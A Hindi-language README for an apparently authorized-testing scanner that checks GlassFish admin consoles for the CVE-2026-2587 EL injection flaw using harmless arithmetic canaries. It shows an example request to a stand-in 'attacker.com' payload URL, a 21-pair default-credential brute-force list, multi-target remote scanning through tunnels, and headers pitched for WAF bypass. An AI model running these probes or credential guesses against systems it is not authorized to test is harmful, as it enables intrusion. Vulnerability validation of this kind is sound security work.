CVE-2026-2587 PoC validator for Eclipse GlassFish EL Injection RCE in the admin console gadget.jsf handler. Safe authenticated vulnerability scanner for authorized testing.
CVE-2026-2587 के लिए सुरक्षित PoC सत्यापक, Eclipse GlassFish एडमिन कंसोल गैजेट हैंडलिंग में एक गंभीर EL इंजेक्शन / RCE समस्या से संबंधित है, विशेष रूप से /common/gadgets/gadget.jsf के माध्यम से।
यह उपकरण सुरक्षा टीमों को एक सौम्य अंकगणितीय EL कैनरी का उपयोग करके अधिकृत वातावरणों में GlassFish CVE-2026-2587 के जोखिम को सत्यापित करने में मदद करता है।
नियुक्तकर्ता: Eclipse Foundation (CNA) · प्रकाशित: 19 मई, 2026 CVSS:
9.6 Critical·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE-917 — एक्सप्रेशन लैंग्वेज इंजेक्शन (21 मई, 2026 तक सार्वजनिक सलाहकार में) (21 मई, 2026 तक सार्वजनिक सलाहकार में) संस्करण केवल रूटिंग/रिपोर्टिंग संदर्भ है; निर्णय के लिए प्रमाण आवश्यक है।
अज्ञातअज्ञातएक गंभीर रिमोट कोड निष्पादन भेद्यता GlassFish एडमिन कंसोल गैजेट हैंडलर में मौजूद है। एप्लिकेशन gadget= क्वेरी पैरामीटर के माध्यम से प्राप्त URL से .xml फ़ाइलों को प्रोसेस करता है और Java Expression Language (EL) इंजन के माध्यम से बिना सैनिटाइजेशन या एस्केपिंग के <ModulePrefs> विशेषताओं के अंदर उपयोगकर्ता-द्वारा प्रदान किए गए मानों का मूल्यांकन करता है।```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
यदि XML में किसी `<ModulePrefs title="">` गुण में `#{7*7}` है, तो GlassFish इसे सर्वर-साइड मूल्यांकित करता है और `49` लौटाता है — EL निष्पादन की पुष्टि करता है। EL के Java रनटाइम तक पहुँच के माध्यम से एक पूर्ण RCE श्रृंखला का अनुसरण होता है।
वर्तमान सार्वजनिक सलाहकार रिकॉर्ड किसी प्रभावित या पैच किए गए संस्करण सीमा को प्रकाशित नहीं करते हैं। यह वैलिडेटर इसलिए प्रमाण-प्रथम है: यह GlassFish को फ़िंगरप्रिंट करता है और संस्करण मेटाडेटा रिपोर्ट करता है, लेकिन यह केवल संस्करण स्ट्रिंग से किसी लक्ष्य को संवेदनशील के रूप में वर्गीकृत नहीं करता है।
---
## यह कैसे काम करता है

सुरक्षित सत्यापन पथ एक हानिरहित XML प्रोब होस्ट करता है, `gadget.jsf` पर एक प्रमाणित एडमिन-कंसोल अनुरोध भेजता है, GlassFish को कॉलबैक URL से उस XML को लाने देता है, और जाँचता है कि क्या `<ModulePrefs title="">` कैनरी `#{7*7}` से `49` का मूल्यांकन करता है।
**इंजेक्शन बिंदु पुष्टि बनाम नहीं:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
| परिदृश्य | क्या प्रमाणीकरण आवश्यक है? |
|---|---|
gadget.jsf पर सीधा प्रहार | हाँ — FORM प्रमाणीकरण, 200 लॉगिन पृष्ठ |
| वास्तविक दुनिया का CSRF हमला | नहीं — प्रशासक के सक्रिय सत्र को हथियार बनाता है |
| यह वैलिडेटर | हाँ — --cookie या --username/--password |
| अप्रमाणित एक्सपोज़र जाँच | नहीं — स्क्रिप्ट स्वचालित रूप से इसका परीक्षण करती है |
CVSS वेक्टर PR:N / UI:R का अर्थ है:
PR:N — हमलावर को अपने स्वयं के क्रेडेंशियल्स की आवश्यकता नहीं हैUI:R — एक लॉग-इन प्रशासक को बातचीत करनी चाहिए (CSRF वितरण)लैब सत्यापन के लिए, CSRF को पूरी तरह से छोड़ें — सीधे अपने स्वयं के प्रशासक सत्र का उपयोग करें।
आवश्यकताएँ: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**रिपॉजिटरी सामग्री:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
चेतावनी: GHSA अभी भी प्रभावित और पैच किए गए संस्करणों को अज्ञात के रूप में सूचीबद्ध करता है।
omnifish/glassfish:7.0.15एक मजबूत लैब उम्मीदवार है — यह गारंटीकृत असुरक्षित बिल्ड नहीं है। वैलिडेशन प्रिमिटिव अंकगणितीय कैनरी बना हुआ है: यदि#{7*7}का मान49है, तो EL सक्रिय है।
docker compose -f docker-compose.lab.yml up
GlassFish 7.0.15 को केवल `127.0.0.1` पर बंदरगाहों के साथ और `host.docker.internal` पूर्व-वायर्ड के साथ लाता है ताकि कंटेनर आपके स्थानीय XML सर्वर तक पहुँच सके।
### विकल्प B — bare docker run```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
प्रशासक कंसोल: https://localhost:4848 · लॉगिन: admin / admin
(स्व-हस्ताक्षरित प्रमाणपत्र — ब्राउज़र चेतावनी अपेक्षित है।)
दूसरे टर्मिनल में:```bash
python3 -m http.server 8000 --bind 0.0.0.0
कंटेनर के दृष्टिकोण से पहुँच की पुष्टि करें:```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5
पहले एडमिन कंसोल में लॉग इन करें (ब्राउज़र सत्र या --cookie), फिर:```bash
curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'
| आउटपुट | अर्थ |
|---|---|
| `CVE2587_TITLE_49_END` | **असुरक्षित** — EL का मूल्यांकन `ModulePrefs title` में किया गया |
| `CVE2587_BODY_49_END` | **असुरक्षित** — EL का मूल्यांकन CDATA बॉडी में किया गया |
| `CVE2587_TITLE_#{7*7}_END` | असुरक्षित नहीं / EL का मूल्यांकन नहीं किया गया |
| *(कोई आउटपुट नहीं)* | GlassFish ने कभी XML प्राप्त नहीं किया — कॉलबैक पहुंच क्षमता जांचें |
> CDATA बॉडी आमतौर पर असुरक्षित बिल्ड पर भी कच्ची रहती है; एक सकारात्मक `TITLE` परिणाम अकेला निष्कर्ष की पुष्टि करने के लिए पर्याप्त है।
### स्थानीय प्रयोगशाला के विरुद्ध स्वचालित सत्यापन```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
रिपॉजिटरी उपयोग के लिए तैयार probe.xml के साथ आती है। आप किसी भी समय एक नया प्रोब भी उत्पन्न कर सकते हैं — यह तब उपयोगी होता है जब आप एक कस्टम कैनरी उपसर्ग या यादृच्छिक मान चाहते हैं ताकि प्रोब प्रति सहभागिता अद्वितीय हो।```bash
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17
python3 CVE-2026-2587-Exploit-POC.py --generate-xml -
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127
फ़ाइल में लिखने के बाद आउटपुट:```
[+] probe XML written → probe.xml
Expression : #{7*7}
Expects : CVE2587_TITLE_49_END in response title
Host this file at a URL reachable by the target server.
Then run:
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
जब GlassFish उसी मशीन पर लोकलहोस्ट या डॉकर में चल रहा हो तब उपयोग करें।
प्रशासन कंसोल में लॉग इन करते समय अपना JSESSIONID ब्राउज़र DevTools → Application → Cookies से प्राप्त करें, फिर:```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://127.0.0.1:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure
> `host.docker.internal` Docker के अंदर से होस्ट मशीन पर रिज़ॉल्व होता है।
> GlassFish कंटेनर इस पते के माध्यम से आपका प्रोब XML प्राप्त करता है।
---
### प्रमाण-पत्र```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
यदि फ़ॉर्म लॉगिन विफल होता है, तो स्क्रिप्ट आगे बढ़कर एंडपॉइंट को आज़माती है। यदि वह भी विफल होता है, तो यह सत्र कुकी प्राप्त करने के लिए चरण-दर-चरण निर्देश प्रिंट करता है।
जब आपके पास कोई क्रेडेंशियल नहीं है, तो --brute क्रम में 21 सामान्य GlassFish डिफ़ॉल्ट क्रेडेंशियल जोड़े आज़माता है और पहले सफल जोड़े का उपयोग करता है।
--username और --cookie के साथ परस्पर अनन्य है।```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--brute --insecure --verbose
यदि कोई मान्य जोड़ी मिलती है तो इसे आउटपुट में मुद्रित किया जाता है और CSV `brute_creds` कॉलम में रिकॉर्ड किया जाता है। यदि सभी जोड़ियाँ विफल हो जाती हैं तो स्कैन `AUTH_REQUIRED` के साथ बाहर निकल जाता है।
कुछ GlassFish बिल्ड एक वैध form POST के बाद `/login.jsf` लौटाते हैं। वैलिडेटर उस URL को अकेले विफलता नहीं मानता; यह एडमिन गैजेट एंडपॉइंट को प्रोब करके और यह जाँच करके सत्र की पुष्टि करता है कि प्रतिक्रिया लॉगिन फॉर्म नहीं है।
प्रयास की गई क्रेडेंशियल सूची (क्रम में):
| Username | Password |
|---|---|
| `admin` | `admin` |
| `admin` | *(empty)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |
---
### क्लाउडफ्लेयर टनल के माध्यम से रिमोट
त्वरित टनल के लिए किसी खाते की आवश्यकता नहीं है।
**चरण 1 — cloudflared स्थापित करें:**```bash
# macOS
brew install cloudflared
# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
चरण 2 — टनल प्रारंभ करें:```bash
cloudflared tunnel --url http://localhost:8000
**चरण 3 — वैलिडेटर चलाएँ:**
कॉलबैक URL के लिए `http://` के साथ उसी जनरेटेड होस्टनेम का उपयोग करें। इससे GlassFish लैब कंटेनरों में JVM ट्रस्ट-स्टोर विफलताओं से बचा जा सकता है, जो Cloudflare TLS प्रमाणपत्र श्रृंखला को मान्य नहीं कर सकते। यदि आप जनरेटेड `https://` trycloudflare URL चिपकाते हैं, तो वैलिडेटर उस कॉलबैक को `http://` में बदल देता है और एक चेतावनी प्रिंट करता है। अंतिम स्लैश वैकल्पिक है; वैलिडेटर स्वचालित रूप से `/canary.xml` और परीक्षण-वार XML पथ जोड़ता है।```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://random-words.trycloudflare.com \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
इसका उपयोग तब करें जब आप स्थानीय सर्वर नहीं चला सकते। लक्ष्य GlassFish JVM को इस URL को सीधे प्राप्त करने में सक्षम होना चाहिए, इसलिए एक विश्वसनीय VPS/वेब सर्वर पर सादा HTTP अक्सर उन HTTPS होस्टों की तुलना में अधिक विश्वसनीय होता है जिनकी प्रमाणपत्र श्रृंखला लक्ष्य JVM द्वारा विश्वसनीय नहीं होती है।
--xml-url फ़्लैग बिल्ट-इन सर्वर को पूरी तरह से बायपास करता है।
एक नया प्रोब XML उत्पन्न करें, फिर उसे होस्ट करें:```bash
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
python3 -m http.server 8000 # local, then expose via Cloudflare Tunnel scp probe.xml user@YOUR_VPS:/var/www/ # VPS or any web server
python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure
> `--prefix`, `--left`, `--right` को आपकी होस्ट की गई XML फ़ाइल के अंदर के मानों से मेल खाना चाहिए, ताकि स्क्रिप्ट को पता चले कि प्रतिक्रिया में किस मूल्यांकित टोकन को देखना है।
---
### ngrok के माध्यम से रिमोट एक्सेस (अंतिम विकल्प)
ngrok का उपयोग केवल रिमोट लक्ष्यों के लिए अंतिम विकल्प के रूप में करें। फ्री टियर एक मध्यवर्ती HTML चेतावनी पृष्ठ लौटाकर उन सर्वर-साइड फ़ेच को ब्लॉक कर सकता है जो ब्राउज़र से नहीं आते हैं। उस स्थिति में GlassFish आपके `probe.xml` के बजाय चेतावनी पृष्ठ लाता है, और वैलिडेटर प्रतिक्रिया को लॉगिन पृष्ठ या अनिर्णायक परिणाम के रूप में वर्गीकृत कर सकता है। Cloudflare Tunnel, VPS, या कोई स्टैटिक वेब होस्ट पसंद करें जिसे लक्ष्य JVM बिना किसी रुकावट के ला सके, जब तक कि आपके पास भुगतान वाला ngrok खाता न हो जो इस प्रतिबंध को हटा देता है।
**चरण 1 — ngrok स्थापित करें:**```bash
# macOS
brew install ngrok
# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
| sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
| sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok
चरण 2 — अपने स्थानीय सर्वर को एक्सपोज़ करें:```bash
ngrok http 8000
**चरण 3 — मान्यकर्ता चलाएँ:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url https://abc123.ngrok-free.app \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
अपने वास्तविक ngrok URL से
abc123.ngrok-free.appको बदलें। स्क्रिप्ट:8000पर अपना XML सर्वर शुरू करती है; ngrok इंटरनेट से उस पर अग्रेषित करता है।
पूर्ण प्रमाणित स्कैन करने से पहले जाँच करें कि क्या एंडपॉइंट बिना प्रमाणीकरण के गलती से उजागर हो गया है। चरण 1 के तुरंत बाद बाहर निकलता है।```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--check-unauth-only --insecure
## उपयोग — एकाधिक लक्ष्य
### लक्ष्य फ़ाइल प्रारूप
रिपॉज़िटरी में एक टेम्पलेट के रूप में `targets.txt.example` शामिल है। इसे कॉपी करें और संपादित करें:```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers
प्रारूप — प्रति पंक्ति एक लक्ष्य, # से शुरू होने वाली पंक्तियाँ और खाली पंक्तियाँ अनदेखा की जाती हैं, प्रति-लक्ष्य क्रेडेंशियल्स वैश्विक --username/--password को ओवरराइड करते हैं:```
https://server2:4848 admin password123 https://server3:4848 ops secret99
https://server4:4848 admin:admin
सभी लक्ष्यों के विरुद्ध चलाएँ:```bash
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--insecure \
--csv results.csv
वैश्विक
--username/--passwordउन लक्ष्यों पर लागू होता है जिनमें प्रति-पंक्ति क्रेडेंशियल नहीं हैं। प्रति-पंक्ति क्रेडेंशियल वैश्विक पर प्राथमिकता लेते हैं।
एक साथ कई लक्ष्यों को स्कैन करने के लिए --threads का उपयोग करें।
बिल्ट-इन XML सर्वर सभी थ्रेड्स में साझा किया जाता है।```bash
python3 CVE-2026-2587-Exploit-POC.py
--targets-file targets.txt
--listen 0.0.0.0:8000
--callback-url https://random-words.trycloudflare.com
--username admin --password admin
--threads 10
--insecure
--csv results.csv --json
> अनुशंसित थ्रेड संख्या:
> - स्थानीय प्रयोगशाला: अधिकतम `10`
> - इंटरनेट पर दूरस्थ लक्ष्य: `3–5` (दर सीमाओं का सम्मान करें)
> - एकल लक्ष्य: `1` (डिफ़ॉल्ट)
---
## आउटपुट प्रारूप
### कंसोल
डिफ़ॉल्ट मानव-पठनीय आउटपुट। प्रति-परीक्षण-मामले परिणाम देखने के लिए `--verbose` जोड़ें।```
────────────────────────────────────────────────────────────────
Target : https://localhost:4848
Server : Eclipse GlassFish 7.0.15
Version : Eclipse GlassFish 7.0.15 [asadmin-api] (affected: UNKNOWN)
Console : present | Gadget: present | Proof: evaluated
[+] VULNERABLE — 9/10 test cases confirmed
[+] TC-01 Basic multiply #{7*7} → 49
[+] TC-02 Addition #{1337+2587} → 3924
[+] TC-03 Large multiply #{31337*271} → 8492327
...
Remediation: restrict admin access and apply vendor-published fixed builds when available.
बहु-लक्ष्य सारांश:``` ════════════════════════════════════════════════════════════════ SCAN SUMMARY — 4 target(s) ════════════════════════════════════════════════════════════════ Vulnerable : 2 Not vulnerable : 1 Auth required : 1 Error / other : 0 ════════════════════════════════════════════════════════════════
### CSV```bash
# Write to file
--csv results.csv
# Write to stdout (pipe-friendly)
--csv -
CSV कॉलम:
| कॉलम | विवरण |
|---|---|
target | लक्ष्य URL |
timestamp | UTC ISO-8601 स्कैन समय |
verdict | VULNERABLE / NOT_VULNERABLE / AUTH_REQUIRED / VULNERABLE_UNAUTH / ERROR |
vulnerable_count | परीक्षण मामलों की संख्या जिन्होंने EL मूल्यांकन की पुष्टि की |
total_tests | चलाए गए कुल परीक्षण मामले |
unauth_exposed | YES यदि एंडपॉइंट बिना प्रमाणीकरण के उत्तर देता है |
active_endpoint | परीक्षण के लिए उपयोग किया गया एंडपॉइंट URL |
server_header | GlassFish से Server: हेडर |
detected_version | यदि फिंगरप्रिंट किया गया तो संस्करण स्ट्रिंग |
version_source | संस्करण मान का स्रोत: हेडर, REST/लॉगिन पृष्ठ, या asadmin-api |
version_affected | सलाहकार संस्करण स्थिति। वर्तमान में UNKNOWN क्योंकि सार्वजनिक प्रभावित/पैच की गई श्रेणियाँ प्रकाशित नहीं हैं |
admin_console | present, not_found, या unknown |
gadget_endpoint | present, blocked, not_found, या unknown |
proof | evaluated, not_evaluated, या not_attempted |
TC-01 … TC-10 | प्रति-परीक्षण परिणाम: VULNERABLE / NOT_VULNERABLE / INCONCLUSIVE / SKIPPED |
उदाहरण पंक्तियाँ:```csv target,timestamp,verdict,vulnerable_count,total_tests,unauth_exposed,active_endpoint,server_header,detected_version,version_source,version_affected,admin_console,gadget_endpoint,proof,brute_creds,TC-01 Basic multiply,...,notes https://server1:4848,2026-05-21T10:00:00+00:00,VULNERABLE,9,10,no,https://server1:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.0.15,Eclipse GlassFish 7.0.15,asadmin-api,UNKNOWN,present,present,evaluated,,VULNERABLE,..., https://server2:4848,2026-05-21T10:00:05+00:00,NOT_VULNERABLE,0,10,no,https://server2:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 8.0.1,Eclipse GlassFish 8.0.1,header:Server,UNKNOWN,present,present,not_evaluated,,NOT_VULNERABLE,..., https://server3:4848,2026-05-21T10:00:08+00:00,AUTH_REQUIRED,0,10,no,,,,,UNKNOWN,present,blocked,not_attempted,,,Session rejected or cookie expired
---
### JSON```bash
--json
एकल लक्ष्य:```json { "active_endpoint": "https://localhost:4848/common/gadgets/gadget.jsf", "admin_console": "present", "detected_version": "Eclipse GlassFish 7.0.15", "gadget_endpoint": "present", "proof": "evaluated", "server_header": "Eclipse GlassFish 7.0.15", "target": "https://localhost:4848", "tested_paths": [ "https://localhost:4848/common/gadgets/gadget.jsf", "https://localhost:4848/admin/common/gadgets/gadget.jsf", "https://localhost:4848/console/common/gadgets/gadget.jsf", "https://localhost:4848/glassfish/common/gadgets/gadget.jsf", "https://localhost:4848/asadmin/common/gadgets/gadget.jsf" ], "timestamp": "2026-05-21T10:00:00+00:00", "verdict": "VULNERABLE", "version_affected": "UNKNOWN", "version_source": "asadmin-api", "vulnerable_count": 9, "total_tests": 10, "unauth_result": "AUTH_REQUIRED", "tc_results": [ {"name": "TC-01 Basic multiply", "expr": "#{7*7}", "expects": "49", "status": "VULNERABLE"}, {"name": "TC-02 Addition", "expr": "#{1337+2587}", "expects": "3924", "status": "VULNERABLE"} ] }
एकाधिक लक्ष्य JSON ऐरे लौटाता है।
---
### आउटपुट का संयोजन
सभी आउटपुट प्रारूप स्वतंत्र हैं — स्वतंत्र रूप से संयोजित करें:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--threads 5 --insecure --verbose \
--csv results.csv \
--json > results.json
डिफ़ॉल्ट रूप से स्कैनर साझा GlassFish गैजेट पथ का परीक्षण करता है सामान्य एडमिन GUI रूट्स के तहत:```text /common/gadgets/gadget.jsf /admin/common/gadgets/gadget.jsf /console/common/gadgets/gadget.jsf /glassfish/common/gadgets/gadget.jsf /asadmin/common/gadgets/gadget.jsf
यह रीडायरेक्ट `Location` हेडर से एक गैर-डिफ़ॉल्ट GUI संदर्भ रूट सीखता है और परीक्षण से पहले उस रूट को जोड़ता है। इस खोज सूची को ओवरराइड करने के लिए केवल तभी दोहराए जाने योग्य `--path` मानों का उपयोग करें जब आप ऐसा करना चाहते हैं।
संस्करण का पता लगाने का प्रयास प्रतिक्रिया हेडर, प्रबंधन REST API, लॉगिन पेज, और सफल लॉगिन के बाद, `/__asadmin/version.json` या `/__asadmin/version` से किया जाता है। संस्करण डेटा केवल रूटिंग और रिपोर्टिंग में सुधार करता है; स्कैनर `version_affected` को `UNKNOWN` के रूप में छोड़ देता है जब तक कि सार्वजनिक सलाहकार रिकॉर्ड एक संस्करण सीमा प्रकाशित नहीं करते।
---
### कस्टम कैनरी मान
`--prefix`, `--left`, `--right` का उपयोग करके वैलिडेटर को हाथ से बनाए गए XML से मिलाएँ। अपनी स्वयं की होस्ट की गई फ़ाइल के साथ `--xml-url` का उपयोग करते समय आवश्यक है।```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--xml-url http://YOUR_SERVER/custom.xml \
--prefix MYTEST --left 13 --right 17 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
मनमाना हेडर जोड़ें — WAF बाईपास, लोड बैलेंसर रूटिंग, या रिवर्स प्रॉक्सी के पीछे परीक्षण के लिए उपयोगी।```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--header "X-Forwarded-For: 127.0.0.1"
--header "X-Original-URL: /common/gadgets/gadget.jsf"
--header "X-Custom-Header: value"
--proxy http://127.0.0.1:8080
--insecure
---
## परीक्षण के मामले
वैलिडेटर 10 अलग-अलग EL प्रोब चलाता है, प्रत्येक एक अलग क्षमता की पुष्टि करता है:
| # | पेलोड | अपेक्षित | यह क्या साबित करता है |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | बेसलाइन अंकगणित कैनरी |
| TC-02 | `#{1337+2587}` | `3924` | जोड़ ऑपरेटर |
| TC-03 | `#{31337*271}` | `8492327` | कोलिज़न-प्रतिरोधी बड़ा गुणा |
| TC-04 | `#{9999-1337}` | `8662` | घटाव ऑपरेटर |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | नेस्टेड कोष्ठक / ऑपरेटर प्राथमिकता |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | सशर्त / टर्नरी — नियंत्रण प्रवाह निष्पादित होता है |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | स्ट्रिंग मेथड एक्सेस |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | चेन्ड मेथड कॉल |
| TC-09 | `#{17 mod 5}` | `2` | EL कीवर्ड ऑपरेटर |
| TC-10 | `#{100*100}` | `10000` | अतिरिक्त अंकगणित पुष्टि |
TC-06, TC-07, और TC-08 सबसे महत्वपूर्ण हैं — इन्हें पास करने का मतलब है कि EL इंजन **स्ट्रिंग API मेथड और सशर्त लॉजिक** को निष्पादित करता है, जो पूर्ण RCE श्रृंखला का सीधा अग्रदूत है।
---
## आउटपुट व्याख्या
| स्थिति | अर्थ |
|---|---|
| `VULNERABLE` | EL एक्सप्रेशन का मूल्यांकन हुआ — इंस्टेंस प्रभावित पुष्टि |
| `VULNERABLE_UNAUTH` | एंडपॉइंट बिना प्रमाणीकरण के उजागर — बेस CVE से भी बदतर |
| `NOT_VULNERABLE` | एक्सप्रेशन शाब्दिक रूप से परावर्तित — EL का मूल्यांकन नहीं हुआ |
| `AUTH_REQUIRED` | एंडपॉइंट ने लॉगिन पेज लौटाया — कुकी या क्रेडेंशियल जांचें |
| `INCONCLUSIVE` | प्रतिक्रिया प्राप्त हुई लेकिन कैनरी नहीं मिली — नीचे देखें |
| `ERROR` | अनुरोध विफल — नेटवर्क / TLS समस्या |
`detected_version` और `version_source` सहायक संदर्भ हैं। चूंकि सार्वजनिक सलाहकार वर्तमान में प्रभावित और पैच किए गए संस्करणों को अज्ञात के रूप में सूचीबद्ध करते हैं, `version_affected=UNKNOWN` को नकारात्मक परिणाम न मानें। एकमात्र सकारात्मक खोज एक मूल्यांकित प्रूफ टोकन है।
**INCONCLUSIVE समस्या निवारण:**
| लक्षण | कारण | समाधान |
|---|---|---|
| `XML hits: 0` | GlassFish ने आपका XML कभी नहीं लाया | `--callback-url` लक्ष्य से पहुंच योग्य नहीं |
| `XML hits: 1+` but no match | EL का मूल्यांकन हुआ लेकिन गलत फ़ील्ड | CDATA सामग्री के लिए अपेक्षित |
| Auth redirect mid-run | सत्र समाप्त हो गया | ब्राउज़र से एक ताज़ा `JSESSIONID` प्राप्त करें |
| Login POST redirects to `j_security_check` | गलत पासवर्ड | इसके बजाय `--cookie` का उपयोग करें |
---
## मैन्युअल सत्यापन
Python की आवश्यकता नहीं:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
<ModulePrefs title="PROBE_#{7*7}_END"/>
<Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF
# Step 2 — serve it
python3 -m http.server 8000 --directory probe &
# Step 3 — hit the endpoint with your session cookie
curl -sk \
-H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
| grep -oE 'PROBE_[^"< ]+_END'
# Vulnerable output:
# PROBE_#{7*7}_END ← raw (CDATA — expected)
# PROBE_49_END ← evaluated ✅ VULNERABLE
| कार्रवाई | विवरण |
|---|---|
| अपग्रेड | जब Eclipse/NVD/GHSA पैच किया गया संस्करण सीमा प्रकाशित करें, तब विक्रेता द्वारा प्रकाशित फिक्स्ड बिल्ड लागू करें |
| गैजेट हैंडलर अक्षम करें | यदि उपयोग नहीं किया गया है तो WAF/फ़ायरवॉल पर /common/gadgets/gadget.jsf को ब्लॉक करें |
| फ़ायरवॉल एडमिन कंसोल | पोर्ट 4848 को केवल विश्वसनीय IP तक सीमित करें |
| CSRF सुरक्षा | एडमिन सत्रों पर SameSite कुकी एट्रीब्यूट सुनिश्चित करें |
| WAF नियम | गैजेट एंडपॉइंट तक पहुंचने वाले XML निकायों में #{ और ${ को ब्लॉक करें |
| संसाधन | लिंक |
|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-2587 |
| GitHub सलाहकार (GHSA) | https://github.com/advisories/GHSA-29wv-cv7p-xjc2 |
| Eclipse CVE ट्रैकिंग | https://gitlab.eclipse.org/security/cve-assignment/-/issues/86 |
| Eclipse GlassFish स्रोत | https://github.com/eclipse-ee4j/glassfish |
| CWE-917 | https://cwe.mitre.org/data/definitions/917.html |
| रिपोर्टर | Camilo G. (DeepSecurity Perú) — @SeguridadBlanca |
यह भंडार केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए है।
भंडार लेआउट:``` CVE-2026-2587-Exploit-POC/ ├── assets/ │ └── cve-2026-2587-validation-flow.png ← README workflow diagram ├── CVE-2026-2587-Exploit-POC.py ← validator script ├── probe.xml ← ready-to-host static probe XML (#{7*7} canary) ├── targets.txt.example ← multi-target file template └── README.md
---
<p align="center">
<a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
